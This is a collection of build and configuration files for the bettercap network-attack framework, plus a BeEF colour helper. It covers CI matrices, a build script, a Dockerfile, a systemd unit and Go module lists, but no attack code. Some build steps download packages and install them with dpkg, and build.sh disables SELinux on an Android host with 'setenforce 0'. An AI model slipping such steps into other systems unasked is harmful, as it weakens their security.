puts "[*] #{s}".blue
end
def print_good s
puts "[+] #{s}".green
end
def print_error s
puts "[!] Error: #{s}".red
end |
Ruby | beef/tools/rest_api_examples/lib/string.rb | # colorise # https://stackoverflow.com/questions/1489183/colorized-ruby-output
class String
def black; "\033[30m#{self}\033[0m" end
def red; "\033[31m#{self}\033[0m" end
def green; "\033[32m#{self}\033[0m" end
def brown; "\033[33m#{self}\033[0m" end
def blue; "\033[34m#{self}\033[0m" end
def magenta; "\033[35m#{self}\033[0m" end
def cyan; "\033[36m#{self}\033[0m" end
def gray; "\033[37m#{self}\033[0m" end
def bg_black; "\033[40m#{self}\033[0m" end
def bg_red; "\033[41m#{self}\033[0m" end
def bg_green; "\033[42m#{self}\033[0m" end
def bg_brown; "\033[43m#{self}\033[0m" end
def bg_blue; "\033[44m#{self}\033[0m" end
def bg_magenta; "\033[45m#{self}\033[0m" end
def bg_cyan; "\033[46m#{self}\033[0m" end
def bg_gray; "\033[47m#{self}\033[0m" end
def bold; "\033[1m#{self}\033[22m" end
def reverse_color; "\033[7m#{self}\033[27m" end
end |
bettercap/.gitignore | *.sw*
*.tar.gz
*.prof*
_example/config.js
pcaps
build
bettercap
bettercap.history
*.snap
*.snap.xdelta3
prime/
snap/
stage/
/snap
.idea |
|
YAML | bettercap/.travis.yml | # Globals
language: go
go:
- 1.16.x
env:
global:
- VERSION=$(echo ${TRAVIS_BRANCH} | sed "s/\//_/g")
- OUTPUT="bettercap"
cache:
apt: true
# Includes
linux_deps: &linux_deps
os: linux
dist: bionic
addons:
apt:
packages:
- p7zip-full
- libpcap-dev
- libnetfilter-queue-dev
- libusb-1.0-0-dev
update: true
finish: &finish
after_success:
- file "${OUTPUT}"
- openssl dgst -sha256 "${OUTPUT}" | tee bettercap_${TARGET_OS}_${TARGET_ARCH}_${VERSION}.sha256
- 7z a "bettercap_${TARGET_OS}_${TARGET_ARCH}_${VERSION}.zip" "${OUTPUT}" "bettercap_${TARGET_OS}_${TARGET_ARCH}_${VERSION}.sha256"
- ls -la bettercap*
cross_deps: &cross_deps
<<: *linux_deps
before_install:
- wget --show-progress -qcO "qemu.deb" "https://github.com/bettercap/buildutils/raw/main/qemu-user-static_5.2_dfsg-9_amd64.deb"
- sudo dpkg -i "qemu.deb"
normal_install: &normal_install
install:
- make -e TARGET="${OUTPUT}"
<<: *finish
cross_install: &cross_install
install:
- sudo builder/arm_builder.sh bettercap make -e TARGET="${OUTPUT}"
<<: *finish
# Tasks
matrix:
include:
- name: Linux - amd64
if: tag IS present
arch: amd64
env:
- TARGET_OS=linux
- TARGET_ARCH=amd64
<<: *linux_deps
<<: *normal_install
- name: Linux - aarch64
if: tag IS present
arch: arm64
env:
- TARGET_OS=linux
- TARGET_ARCH=aarch64
- GEM_HOME=~/.ruby
- PATH=$PATH:~/.ruby/bin
<<: *linux_deps
<<: *normal_install
before_install:
- mkdir -p ~/.ruby
- name: Linux - armhf
if: tag IS present
language: minimal
arch: amd64
env:
- TARGET_OS=linux
- TARGET_ARCH=armhf
<<: *cross_deps
<<: *cross_install
- name: OSX - amd64
if: tag IS present
os: osx
osx_image: xcode12.5
arch: amd64
addons:
homebrew:
packages:
- libpcap
- libusb
- p7zip
update: true
env:
- TARGET_OS=darwin
- TARGET_ARCH=amd64
- PATH="/usr/local/opt/libpcap/bin:$PATH"
- LDFLAGS="-L/usr/local/opt/libpcap/lib $LDFLAGS"
- CPPFLAGS="-I/usr/local/opt/libpcap/include $CPPFLAGS"
- PKG_CONFIG_PATH="/usr/local/opt/libpcap/lib/pkgconfig:$PKG_CONFIG_PATH"
<<: *normal_install
- name: Windows - amd64
if: tag IS present
os: windows
arch: amd64
env:
- TARGET_OS=windows
- TARGET_ARCH=amd64
- PKG_CONFIG_PATH="c:/pkg-config"
- OUTPUT=bettercap.exe
- CGO_CFLAGS="-I/c/winpcap/WpdPack/Include -I/c/libusb/include/libusb-1.0"
- CGO_LDFLAGS="-L/c/winpcap/WpdPack/Lib/x64 -L/c/libusb/MinGW64/static"
before_install:
- choco install openssl.light -y
- choco install make -y
- choco install 7zip -y
- choco install pkgconfiglite -y
- mkdir /c/pkg-config
- choco install zadig -y
- curl -L "https://github.com/libusb/libusb/releases/download/v1.0.24/libusb-1.0.24.7z" -o "/c/libusb.7z"
- 7z x -y "/c/libusb.7z" -o"/c/libusb"
- cp builder/libusb.pc /c/pkg-config/libusb.pc
- cp builder/libusb.pc /c/pkg-config/libusb-1.0.pc
- choco install winpcap -y
- curl -L "https://www.winpcap.org/install/bin/WpdPack_4_1_2.zip" -o "c:/wpcap-sdk.zip"
- 7z x -y "/c/wpcap-sdk.zip" -o"/c/winpcap"
<<: *normal_install
- name: Linux - tests
if: tag IS blank
os: linux
arch: amd64
allow_failures:
- go: master
fast_finish: true
<<: *linux_deps
script:
- env GO111MODULE=on make test
- name: OSX - tests
if: tag IS blank
os: osx
osx_image: xcode12.5
arch: amd64
allow_failures:
- go: master
fast_finish: true
addons:
homebrew:
packages:
- libpcap
- libusb
- p7zip
update: true
env:
- TARGET_OS=darwin
- TARGET_ARCH=amd64
- PATH="/usr/local/opt/libpcap/bin:$PATH"
- LDFLAGS="-L/usr/local/opt/libpcap/lib $LDFLAGS"
- CPPFLAGS="-I/usr/local/opt/libpcap/include $CPPFLAGS"
- PKG_CONFIG_PATH="/usr/local/opt/libpcap/lib/pkgconfig:$PKG_CONFIG_PATH"
script:
- env GO111MODULE=on make test
deploy:
provider: releases
api_key:
secure: gaQDeYOe/8lL3++jok73kSNtJVyj5Dk8RdxerjSa3hsVrL5IljsNsGGXocesCQ4ubFrnOO26RmO1FxMKmqYBpewRwQ6GKqZjc7IbwR9Cy0c0AyRRULnCsXue3NxIQBobqAwKtaaqDPHZcX1eOVgDnrheMpT5nt9YN2Xyv9zdFAmjfhUxv8K3nyv9eOMHYy0TmcKanQSXcYTHnUONt4Af5XA2NZGTtLUB+FAEf93vLqyqmmkX0EJciYu3HSZmCPFLLACi1WDSvt+e4TlozrutMpgm3JNzZ3eg6IsesRzxy/s2HeOnVJLMCadGjqap98xfSY6V00cUdCny+n8xfDgCzMljM0bEMDUhIs97AFdLXJZKPRGrNSmnurIcJ+NaVrFS5BMiLwQ2J6WiRvDaCWROVd+Vml/bWWZIUsMxVapEN5vbtw8R/gSVQyZnZUXLrArIBQxenSFlMcWDi+VMF38GrQgAB/ddlMZqWjVubpWOSN45Eity0SsLAgsAuNjH1YCeCr0zj1sG08NPsnTPSKr+661iuOTpsdgu/4crF6qcFcl/kvJsw6tyFPVLO5yzbX9q4O778vXRduzPuBeD63eFuHD8pwceGxWWxN9vnQtX6OqRKmEsrLP7aL9dkI2zgp7TOj058hNQefQ5FD25yfKNCUfp/tnxa6XrkrPzWq/SX7c=
skip_cleanup: true
file_glob: true
file:
- bettercap_*.zip
- bettercap_*.sha256
on:
tags: true
repo: bettercap/bettercap
branches:
only:
- "/^v[0-9]+\\.[0-9]+\\.[0-9]+[A-Za-z0-9]+?$/" |
bettercap/bettercap.service | [Unit]
Description=bettercap api.rest service.
Documentation=https://bettercap.org
Wants=network.target
After=network.target
[Service]
Type=simple
PermissionsStartOnly=true
ExecStart=/usr/local/bin/bettercap -no-colors -eval "set events.stream.output /var/log/bettercap.log; api.rest on"
Restart=always
RestartSec=30
[Install]
WantedBy=multi-user.target |
|
Shell Script | bettercap/build.sh | #!/bin/bash
BUILD_FOLDER=build
VERSION=$(cat core/banner.go | grep Version | cut -d '"' -f 2)
bin_dep() {
BIN=$1
which $BIN > /dev/null || { echo "@ Dependency $BIN not found !"; exit 1; }
}
host_dep() {
HOST=$1
ping -c 1 $HOST > /dev/null || { echo "@ Virtual machine host $HOST not visible !"; exit 1; }
}
create_exe_archive() {
bin_dep 'zip'
OUTPUT=$1
echo "@ Creating archive $OUTPUT ..."
zip -j "$OUTPUT" bettercap.exe ../README.md ../LICENSE.md > /dev/null
rm -rf bettercap bettercap.exe
}
create_archive() {
bin_dep 'zip'
OUTPUT=$1
echo "@ Creating archive $OUTPUT ..."
zip -j "$OUTPUT" bettercap ../README.md ../LICENSE.md > /dev/null
rm -rf bettercap bettercap.exe
}
build_linux_amd64() {
echo "@ Building linux/amd64 ..."
go build -o bettercap ..
}
build_linux_armv6l() {
host_dep 'arc.local'
DIR=/home/pi/gocode/src/github.com/bettercap/bettercap
echo "@ Updating repo on arm6l host ..."
ssh [email protected] "cd $DIR && rm -rf '$OUTPUT' && git checkout . && git checkout master && git pull" > /dev/null
echo "@ Building linux/armv6l ..."
ssh [email protected] "export GOPATH=/home/pi/gocode && cd '$DIR' && PATH=$PATH:/usr/local/bin && go get ./... && go build -o bettercap ." > /dev/null
scp -C [email protected]:$DIR/bettercap . > /dev/null
}
build_macos_amd64() {
host_dep 'osxvm'
DIR=/Users/evilsocket/gocode/src/github.com/bettercap/bettercap
echo "@ Updating repo on MacOS VM ..."
ssh osxvm "cd $DIR && rm -rf '$OUTPUT' && git checkout . && git checkout master && git pull" > /dev/null
echo "@ Building darwin/amd64 ..."
ssh osxvm "export GOPATH=/Users/evilsocket/gocode && cd '$DIR' && PATH=$PATH:/usr/local/bin && go get ./... && go build -o bettercap ." > /dev/null
scp -C osxvm:$DIR/bettercap . > /dev/null
}
build_windows_amd64() {
host_dep 'winvm'
DIR=c:/Users/evilsocket/gopath/src/github.com/bettercap/bettercap
echo "@ Updating repo on Windows VM ..."
ssh winvm "cd $DIR && git checkout . && git checkout master && git pull && go get ./..." > /dev/null
echo "@ Building windows/amd64 ..."
ssh winvm "cd $DIR && go build -o bettercap.exe ." > /dev/null
scp -C winvm:$DIR/bettercap.exe . > /dev/null
}
build_android_arm() {
host_dep 'shield'
BASE=/data/data/com.termux/files
THEPATH="$BASE/usr/bin:$BASE/usr/bin/applets:/system/xbin:/system/bin"
LPATH="$BASE/usr/lib"
GPATH=$BASE/home/go
DIR=$GPATH/src/github.com/bettercap/bettercap
echo "@ Updating repo on Android host ..."
ssh -p 8022 root@shield "su -c 'export PATH=$THEPATH && export LD_LIBRARY_PATH="$LPATH" && cd "$DIR" && rm -rf bettercap* && git pull && export GOPATH=$GPATH && go get ./...'"
echo "@ Building android/arm ..."
ssh -p 8022 root@shield "su -c 'export PATH=$THEPATH && export LD_LIBRARY_PATH="$LPATH" && cd "$DIR" && export GOPATH=$GPATH && go build -o bettercap . && setenforce 0'"
echo "@ Downloading bettercap ..."
scp -C -P 8022 root@shield:$DIR/bettercap .
}
rm -rf $BUILD_FOLDER
mkdir $BUILD_FOLDER
cd $BUILD_FOLDER
if [ -z "$1" ]
then
WHAT=all
else
WHAT="$1"
fi
printf "@ Building for $WHAT ...\n\n"
if [[ "$WHAT" == "all" || "$WHAT" == "linux_amd64" ]]; then
build_linux_amd64 && create_archive bettercap_linux_amd64_$VERSION.zip
fi
if [[ "$WHAT" == "all" || "$WHAT" == "linux_armv6l" ]]; then
build_linux_armv6l && create_archive bettercap_linux_armv6l_$VERSION.zip
fi
if [[ "$WHAT" == "all" || "$WHAT" == "osx" || "$WHAT" == "mac" || "$WHAT" == "macos" ]]; then
build_macos_amd64 && create_archive bettercap_macos_amd64_$VERSION.zip
fi
if [[ "$WHAT" == "all" || "$WHAT" == "win" || "$WHAT" == "windows" ]]; then
build_windows_amd64 && create_exe_archive bettercap_windows_amd64_$VERSION.zip
fi
if [[ "$WHAT" == "all" || "$WHAT" == "android" ]]; then
build_android_arm && create_archive bettercap_android_armv7l_$VERSION.zip
fi
sha256sum * > checksums.txt
echo
echo
du -sh *
cd -- |
bettercap/Dockerfile | # build stage
FROM golang:1.16-alpine3.15 AS build-env
ENV SRC_DIR $GOPATH/src/github.com/bettercap/bettercap
RUN apk add --no-cache ca-certificates
RUN apk add --no-cache bash iptables wireless-tools build-base libpcap-dev libusb-dev linux-headers libnetfilter_queue-dev git
WORKDIR $SRC_DIR
ADD . $SRC_DIR
RUN make
# get caplets
RUN mkdir -p /usr/local/share/bettercap
RUN git clone https://github.com/bettercap/caplets /usr/local/share/bettercap/caplets
# final stage
FROM alpine:3.15
RUN apk add --no-cache ca-certificates
RUN apk add --no-cache bash iproute2 libpcap libusb-dev libnetfilter_queue wireless-tools
COPY --from=build-env /go/src/github.com/bettercap/bettercap/bettercap /app/
COPY --from=build-env /usr/local/share/bettercap/caplets /app/
WORKDIR /app
EXPOSE 80 443 53 5300 8080 8081 8082 8083 8000
ENTRYPOINT ["/app/bettercap"] |
|
bettercap/go.mod | module github.com/bettercap/bettercap
go 1.16
require (
github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d
github.com/adrianmo/go-nmea v1.3.0
github.com/antchfx/jsonquery v1.1.4
github.com/antchfx/xpath v1.2.0 // indirect
github.com/bettercap/gatt v0.0.0-20210514133428-df6e615f2f67
github.com/bettercap/nrf24 v0.0.0-20190219153547-aa37e6d0e0eb
github.com/bettercap/readline v0.0.0-20210228151553-655e48bcb7bf
github.com/bettercap/recording v0.0.0-20190408083647-3ce1dcf032e3
github.com/chifflier/nfqueue-go v0.0.0-20170228160439-61ca646babef
github.com/chzyer/logex v1.1.10 // indirect
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 // indirect
github.com/dustin/go-humanize v1.0.0
github.com/elazarl/goproxy v0.0.0-20210801061803-8e322dfb79c4
github.com/elazarl/goproxy/ext v0.0.0-20210110162100-a92cc753f88e // indirect
github.com/evilsocket/islazy v1.10.6
github.com/gobwas/glob v0.0.0-20181002190808-e7a84e9525fe
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
github.com/google/go-cmp v0.5.5 // indirect
github.com/google/go-github v17.0.0+incompatible
github.com/google/go-querystring v1.1.0 // indirect
github.com/google/gopacket v1.1.19
github.com/google/gousb v1.1.2
github.com/gorilla/mux v1.8.0
github.com/gorilla/websocket v1.4.2
github.com/hashicorp/mdns v1.0.4
github.com/inconshreveable/go-vhost v0.0.0-20160627193104-06d84117953b
github.com/jpillora/go-tld v1.1.1
github.com/kr/binarydist v0.1.0 // indirect
github.com/malfunkt/iprange v0.9.0
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mdlayher/dhcp6 v0.0.0-20190311162359-2a67805d7d0b
github.com/miekg/dns v1.1.43
github.com/mitchellh/go-homedir v1.1.0
github.com/pkg/errors v0.9.1 // indirect
github.com/robertkrimen/otto v0.0.0-20210614181706-373ff5438452
github.com/stratoberry/go-gpsd v1.0.0
github.com/tarm/serial v0.0.0-20180830185346-98f6abe2eb07
github.com/thoj/go-ircevent v0.0.0-20210723090443-73e444401d64
golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d
golang.org/x/sys v0.0.0-20210820121016-41cdb8703e55 // indirect
golang.org/x/text v0.3.7 // indirect
gopkg.in/sourcemap.v1 v1.0.5 // indirect
) |
|
bettercap/go.sum | github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d h1:licZJFw2RwpHMqeKTCYkitsPqHNxTmd4SNR5r94FGM8=
github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d/go.mod h1:asat636LX7Bqt5lYEZ27JNDcqxfjdBQuJ/MM4CN/Lzo=
github.com/adrianmo/go-nmea v1.3.0 h1:BFrLRj/oIh+DYujIKpuQievq7X3NDHYq57kNgsfr2GY=
github.com/adrianmo/go-nmea v1.3.0/go.mod h1:u8bPnpKt/D/5rll/5l9f6iDfeq5WZW0+/SXdkwix6Tg=
github.com/antchfx/jsonquery v1.1.4 h1:+OlFO3QS9wjU0MKx9MgHm5f6o6hdd4e9mUTp0wTjxlM=
github.com/antchfx/jsonquery v1.1.4/go.mod h1:cHs8r6Bymd8j6HI6Ej1IJbjahKvLBcIEh54dfmo+E9A=
github.com/antchfx/xpath v1.1.7/go.mod h1:Yee4kTMuNiPYJ7nSNorELQMr1J33uOpXDMByNYhvtNk=
github.com/antchfx/xpath v1.2.0 h1:mbwv7co+x0RwgeGAOHdrKy89GvHaGvxxBtPK0uF9Zr8=
github.com/antchfx/xpath v1.2.0/go.mod h1:i54GszH55fYfBmoZXapTHN8T8tkcHfRgLyVwwqzXNcs=
github.com/bettercap/gatt v0.0.0-20210514133428-df6e615f2f67 h1:xzN6806c01hWTz8gjGsRjhOPlYj5/dNoZIR8CN9+O1c=
github.com/bettercap/gatt v0.0.0-20210514133428-df6e615f2f67/go.mod h1:oafnPgaBI4gqJiYkueCyR4dqygiWGXTGOE0gmmAVeeQ=
github.com/bettercap/nrf24 v0.0.0-20190219153547-aa37e6d0e0eb h1:JWAAJk4ny+bT3VrtcX+e7mcmWtWUeUM0xVcocSAUuWc=
github.com/bettercap/nrf24 v0.0.0-20190219153547-aa37e6d0e0eb/go.mod h1:g6WiaSRgMTiChuk7jYyFSEtpgaw1F0wAsBfspG3bu0M=
github.com/bettercap/readline v0.0.0-20210228151553-655e48bcb7bf h1:pwGPRc5PIp4KCF9QbKn0iLVMhfigUMw4IzGZEZ81m1I=
github.com/bettercap/readline v0.0.0-20210228151553-655e48bcb7bf/go.mod h1:03rWiUf60r1miMVzMEtgtkq7RdZniecZFw3/Zgvyxcs=
github.com/bettercap/recording v0.0.0-20190408083647-3ce1dcf032e3 h1:pC4ZAk7UtDIbrRKzMMiIL1TVkiKlgtgcJodqKB53Rl4=
github.com/bettercap/recording v0.0.0-20190408083647-3ce1dcf032e3/go.mod h1:kqVwnx6DKuOHMZcBnzsgp2Lq2JZHDtFtm92b5hxdRaM=
github.com/chifflier/nfqueue-go v0.0.0-20170228160439-61ca646babef h1:uhLIhHeIRlFbAI1mOHkz3vN23T+QdhA9MgnvnJaQyL0=
github.com/chifflier/nfqueue-go v0.0.0-20170228160439-61ca646babef/go.mod h1:xn8SYXvxzI99iSN8+Kh3wCvt2fhr27vPPf8ju9FwRS0=
github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 h1:q763qf9huN11kDQavWsoZXJNW3xEE4JJyHa5Q25/sd8=
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo=
github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
github.com/elazarl/goproxy v0.0.0-20210801061803-8e322dfb79c4 h1:lS3P5Nw3oPO05Lk2gFiYUOL3QPaH+fRoI1wFOc4G1UY=
github.com/elazarl/goproxy v0.0.0-20210801061803-8e322dfb79c4/go.mod h1:Ro8st/ElPeALwNFlcTpWmkr6IoMFfkjXAvTHpevnDsM=
github.com/elazarl/goproxy/ext v0.0.0-20190711103511-473e67f1d7d2/go.mod h1:gNh8nYJoAm43RfaxurUnxr+N1PwuFV3ZMl/efxlIlY8=
github.com/elazarl/goproxy/ext v0.0.0-20210110162100-a92cc753f88e h1:CQn2/8fi3kmpT9BTiHEELgdxAOQNVZc9GoPA4qnQzrs=
github.com/elazarl/goproxy/ext v0.0.0-20210110162100-a92cc753f88e/go.mod h1:gNh8nYJoAm43RfaxurUnxr+N1PwuFV3ZMl/efxlIlY8=
github.com/evilsocket/islazy v1.10.6 h1:MFq000a1ByoumoJWlytqg0qon0KlBeUfPsDjY0hK0bo=
github.com/evilsocket/islazy v1.10.6/go.mod h1:OrwQGYg3DuZvXUfmH+KIZDjwTCbrjy48T24TUpGqVVw=
github.com/gobwas/glob v0.0.0-20181002190808-e7a84e9525fe h1:8P+/htb3mwwpeGdJg69yBF/RofK7c6Fjz5Ypa/bTqbY=
github.com/gobwas/glob v0.0.0-20181002190808-e7a84e9525fe/go.mod h1:d3Ez4x06l9bZtSvzIay5+Yzi0fmZzPgnTbPcKjJAkT8=
github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE=
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.5 h1:Khx7svrCpmxxtHBq5j2mp/xVjsi8hQMfNLvJFAlrGgU=
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-github v17.0.0+incompatible h1:N0LgJ1j65A7kfXrZnUDaYCs/Sf4rEjNlfyDHW9dolSY=
github.com/google/go-github v17.0.0+incompatible/go.mod h1:zLgOLi98H3fifZn+44m+umXrS52loVEgC2AApnigrVQ=
github.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8=
github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU=
github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8=
github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
github.com/google/gousb v1.1.2 h1:1BwarNB3inFTFhPgUEfah4hwOPuDz/49I0uX8XNginU=
github.com/google/gousb v1.1.2/go.mod h1:GGWUkK0gAXDzxhwrzetW592aOmkkqSGcj5KLEgmCVUg=
github.com/gorilla/mux v1.8.0 h1:i40aqfkR1h2SlN9hojwV5ZA91wcXFOvkdNIeFDP5koI=
github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So=
github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc=
github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/hashicorp/mdns v1.0.4 h1:sY0CMhFmjIPDMlTB+HfymFHCaYLhgifZ0QhjaYKD/UQ=
github.com/hashicorp/mdns v1.0.4/go.mod h1:mtBihi+LeNXGtG8L9dX59gAEa12BDtBQSp4v/YAJqrc=
github.com/inconshreveable/go-vhost v0.0.0-20160627193104-06d84117953b h1:IpLPmn6Re21F0MaV6Zsc5RdSE6KuoFpWmHiUSEs3PrE=
github.com/inconshreveable/go-vhost v0.0.0-20160627193104-06d84117953b/go.mod h1:aA6DnFhALT3zH0y+A39we+zbrdMC2N0X/q21e6FI0LU=
github.com/jpillora/go-tld v1.1.1 h1:P1ZwtKDHBYYUl235R/D64cdBARfGYzEy1Hg2Ikir3FQ=
github.com/jpillora/go-tld v1.1.1/go.mod h1:kitBxOF//DR5FxYeIGw+etdiiTIq5S7bx0dwy1GUNAk=
github.com/kr/binarydist v0.1.0 h1:6kAoLA9FMMnNGSehX0s1PdjbEaACznAv/W219j2uvyo=
github.com/kr/binarydist v0.1.0/go.mod h1:DY7S//GCoz1BCd0B0EVrinCKAZN3pXe+MDaIZbXQVgM=
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
github.com/malfunkt/iprange v0.9.0 h1:VCs0PKLUPotNVQTpVNszsut4lP7OCGNBwX+lOYBrnVQ=
github.com/malfunkt/iprange v0.9.0/go.mod h1:TRGqO/f95gh3LOndUGTL46+W0GXA91WTqyZ0Quwvt4U=
github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8=
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA=
github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mdlayher/dhcp6 v0.0.0-20190311162359-2a67805d7d0b h1:r12blE3QRYlW1WBiBEe007O6NrTb/P54OjR5d4WLEGk=
github.com/mdlayher/dhcp6 v0.0.0-20190311162359-2a67805d7d0b/go.mod h1:p4K2+UAoap8Jzsadsxc0KG0OZjmmCthTPUyZqAVkjBY=
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d h1:5PJl274Y63IEHC+7izoQE9x6ikvDFZS2mDVS3drnohI=
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
github.com/mgutz/logxi v0.0.0-20161027140823-aebf8a7d67ab h1:n8cgpHzJ5+EDyDri2s/GC7a9+qK3/YEGnBsd0uS/8PY=
github.com/mgutz/logxi v0.0.0-20161027140823-aebf8a7d67ab/go.mod h1:y1pL58r5z2VvAjeG1VLGc8zOQgSOzbKN7kMHPvFXJ+8=
github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI=
github.com/miekg/dns v1.1.43 h1:JKfpVSCB84vrAmHzyrsxB5NAr5kLoMXZArPSw7Qlgyg=
github.com/miekg/dns v1.1.43/go.mod h1:+evo5L0630/F6ca/Z9+GAqzhjGyn8/c+TBaOyfEl0V4=
github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y=
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/robertkrimen/otto v0.0.0-20210614181706-373ff5438452 h1:ewTtJ72GFy2e0e8uyiDwMG3pKCS5mBh+hdSTYsPKEP8=
github.com/robertkrimen/otto v0.0.0-20210614181706-373ff5438452/go.mod h1:xvqspoSXJTIpemEonrMDFq6XzwHYYgToXWj5eRX1OtY=
github.com/rogpeppe/go-charset v0.0.0-20180617210344-2471d30d28b4/go.mod h1:qgYeAmZ5ZIpBWTGllZSQnw97Dj+woV0toclVaRGI8pc=
github.com/stratoberry/go-gpsd v1.0.0 h1:wDfZWGKlt0oqfi4nLjiqxJeKPIs/qMLbiO5fuUi7QCg=
github.com/stratoberry/go-gpsd v1.0.0/go.mod h1:AiDv9UF/0tKQBVmL7iojbxXhq36cY1/El3AuhfCK2Co=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/tarm/serial v0.0.0-20180830185346-98f6abe2eb07 h1:UyzmZLoiDWMRywV4DUYb9Fbt8uiOSooupjTq10vpvnU=
github.com/tarm/serial v0.0.0-20180830185346-98f6abe2eb07/go.mod h1:kDXzergiv9cbyO7IOYJZWg1U88JhDg3PB6klq9Hg2pA=
github.com/thoj/go-ircevent v0.0.0-20210723090443-73e444401d64 h1:l/T7dYuJEQZOwVOpjIXr1180aM9PZL/d1MnMVIxefX4=
github.com/thoj/go-ircevent v0.0.0-20210723090443-73e444401d64/go.mod h1:Q1NAJOuRdQCqN/VIWdnaaEhV8LpeO2rtlBP7/iDJNII=
